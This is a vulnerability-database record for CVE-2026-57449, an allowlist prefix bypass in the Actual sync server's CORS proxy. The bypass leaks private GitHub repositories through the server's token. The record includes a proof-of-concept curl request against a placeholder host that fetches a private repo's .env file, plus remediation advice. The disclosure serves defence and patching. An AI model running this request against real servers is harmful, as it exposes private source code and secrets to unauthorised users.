{"schema":"threatline.record/2","record":{"id":"CVE-2026-57449","aliases":["GHSA-m62c-5q34-f3cf"],"summary":"Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token","details":"## Summary\n\nActual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When `ACTUAL_GITHUB_TOKEN` is configured, the proxy automatically attaches the server's GitHub token to GitHub requests.\n\nThe GitHub API allowlist check uses a raw `startsWith()` prefix test for `/repos/{owner}/{repo}` without requiring a path boundary after the repository name. If an allowlisted public plugin repository is `https://github.com/acme/plugin`, the proxy also accepts GitHub API URLs such as:\n\n```text\nhttps://api.github.com/repos/acme/plugin-private/contents/.env\nhttps://api.github.com/repos/acme/plugin-secrets/actions/secrets\nhttps://api.github.com/repos/acme/plugin-internal/releases\n```\n\nThose URLs are outside the allowlisted repository but still pass because their API path starts with `/repos/acme/plugin`. The proxy then forwards the request with the server's `ACTUAL_GITHUB_TOKEN`, allowing any authenticated Actual user to read private GitHub resources reachable by that token.\n\n## Affected Endpoint\n\n- `GET /cors-proxy?url=...`\n\nThis endpoint is mounted only when:\n\n```js\nif (config.get('corsProxy.enabled')) {\n  app.use('/cors-proxy', corsApp.handlers);\n}\n```\n\nSource: `packages/sync-server/src/app.ts:68-70`\n\n## Details\n\nThe CORS proxy is disabled by default but can be enabled through `ACTUAL_CORS_PROXY_ENABLED`. The GitHub token is configured through `ACTUAL_GITHUB_TOKEN`:\n\n```js\ngithub: {\n  token: {\n    doc: 'GitHub Personal Access Token for API authentication.',\n    format: String,\n    default: '',\n    env: 'ACTUAL_GITHUB_TOKEN',\n  },\n},\ncorsProxy: {\n  enabled: {\n    doc: 'Enable the CORS proxy endpoint.',\n    format: Boolean,\n    default: false,\n    env: 'ACTUAL_CORS_PROXY_ENABLED',\n  },\n},\n```\n\nSource: `packages/sync-server/src/load-config.js:280-296`\n\nThe proxy fetches the plugin allowlist and stores repository URLs:\n\n```js\nconst response = await fetch(\n  'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json',\n);\n...\nconst plugins = await response.json();\nallowlistedRepos = plugins.map(plugin => plugin.url);\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:43-50`\n\nThe GitHub API check accepts any path that starts with `/repos/${repoOwner}/${repoName}`:\n\n```js\nfor (const repoUrl of allowlistedRepos) {\n  const { pathname } = new URL(repoUrl);\n  const [, repoOwner, repoName] = pathname.split('/');\n\n  if (\n    targetUrl === repoUrl ||\n    targetUrl.startsWith(repoUrl + '/') ||\n    (hostname === 'api.github.com' &&\n      url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||\n    ...\n  ) {\n    return true;\n  }\n}\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:84-99`\n\nFor `api.github.com`, there is no delimiter after `repoName`. This means an allowlisted repo named `plugin` authorizes API requests for `plugin-private`, `plugin-secrets`, `plugin-internal`, and any other repository under the same owner whose name starts with `plugin`.\n\nAfter this incorrect allowlist decision, the proxy attaches the server's GitHub token:\n\n```js\nconst githubToken = config.get('github.token');\nif (\n  githubToken &&\n  (url.hostname === 'api.github.com' ||\n    url.hostname === 'raw.githubusercontent.com' ||\n    (url.hostname === 'github.com' && url.pathname.includes('/releases/')))\n) {\n  requestHeaders['Authorization'] = `Bearer ${githubToken}`;\n  requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System';\n}\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:192-201`\n\nTherefore the vulnerable flow is:\n\n1. A public plugin repository is allowlisted, for example `https://github.com/acme/plugin`.\n2. The same owner has a private repository with a prefix-matching name, for example `acme/plugin-private`.\n3. The Actual server has `ACTUAL_CORS_PROXY_ENABLED=true`.\n4. The Actual server has `ACTUAL_GITHUB_TOKEN` with access to `acme/plugin-private`.\n5. Any authenticated Actual user calls:\n\n```text\n/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env\n```\n\n6. `isUrlAllowed()` returns true because `/repos/acme/plugin-private/...` starts with `/repos/acme/plugin`.\n7. The proxy sends the request to GitHub with the server token.\n8. The response is returned to the low-privileged Actual user.\n\n## PoC\n\n### Preconditions\n\n1. `ACTUAL_CORS_PROXY_ENABLED=true`.\n2. `ACTUAL_GITHUB_TOKEN` is configured and can read a private repo.\n3. The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.\n4. The attacker has any valid Actual session token.\n\nExample:\n\n- Allowlisted public repo: `https://github.com/acme/plugin`\n- Private target repo: `https://github.com/acme/plugin-private`\n- Private file: `.env`\n\n### Manual Reproduction\n\nStep 1: Request a private repo file through the Actual CORS proxy:\n\n```bash\ncurl -s \"http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env\" \\\n  -H \"X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION\"\n```\n\nVulnerable result:\n\n```json\n{\n  \"name\": \".env\",\n  \"path\": \".env\",\n  \"encoding\": \"base64\",\n  \"content\": \"UFJPRF9EQl9QQVNTV09SRD0uLi4=\"\n}\n```\n\nStep 2: Decode the returned `content` field:\n\n```bash\necho \"UFJPRF9EQl9QQVNTV09SRD0uLi4=\" | base64 -d\n```\n\nExample decoded output:\n\n```text\nPROD_DB_PASSWORD=...\n```\n\n### Python PoC\n\nAttached separately as `poc_actual_cors_proxy_github_prefix_bypass.py`.\n\nThe PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user.\n\n## Impact\n\n- Any authenticated Actual user can use the server's GitHub token against prefix-matched repositories outside the plugin allowlist.\n- Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.\n- If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.\n- Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.\n\n## Recommended Remediation\n\n- Parse and compare GitHub API repository path segments exactly.\n- Replace:\n\n```js\nurl.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)\n```\n\nwith an exact boundary-aware check:\n\n```js\nurl.pathname === `/repos/${repoOwner}/${repoName}` ||\nurl.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)\n```\n\n- Apply the same boundary discipline to every allowlist branch.\n- Add regression tests showing that an allowlisted `owner/plugin` does not authorize `owner/plugin-private`.\n- Consider never attaching `ACTUAL_GITHUB_TOKEN` for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.","categories":["Libraries & packages"],"product":"@actual-app/sync-server","vendor":"actualbudget","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-m62c-5q34-f3cf","source_modified_at":"2026-10-07T14:00:47Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"@actual-app/sync-server"},"range":"<= 26.6.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-57449","source_modified_at":"2026-09-28T13:07:46.380Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"actual","vendor":"actualbudget","versions":[{"version":"< 26.7.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-m62c-5q34-f3cf","source_modified_at":"2026-10-07T14:16:44.814019296Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"@actual-app/sync-server","purl":"pkg:npm/%40actual-app/sync-server"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"26.7.0"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-m62c-5q34-f3cf","source_modified_at":"2026-10-07T14:00:47Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"@actual-app/sync-server"},"version":"26.7.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-m62c-5q34-f3cf","source_modified_at":"2026-10-07T14:16:44.814019296Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"@actual-app/sync-server","purl":"pkg:npm/%40actual-app/sync-server"},"version":"26.7.0"}],"cvss":7.1,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00207,"percentile":0.10263,"score_date":"2026-10-23"},"published_at":"2026-09-25T22:10:39.706Z","modified_at":"2026-10-07T14:16:44.814019296Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-m62c-5q34-f3cf","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-07T14:00:47Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-57449","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-28T13:07:46.380Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-m62c-5q34-f3cf","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-07T14:16:44.814019296Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57449","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/actualbudget/actual/security/advisories/GHSA-m62c-5q34-f3cf","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57449","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-m62c-5q34-f3cf","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-09-28T13:07:03.977402Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-07T14:16:44.814019296Z","content_hash":"8a1036aed23e035430aa682d3590120c5fd46d58ce0fd43257ad27fa2ac792e1"}}
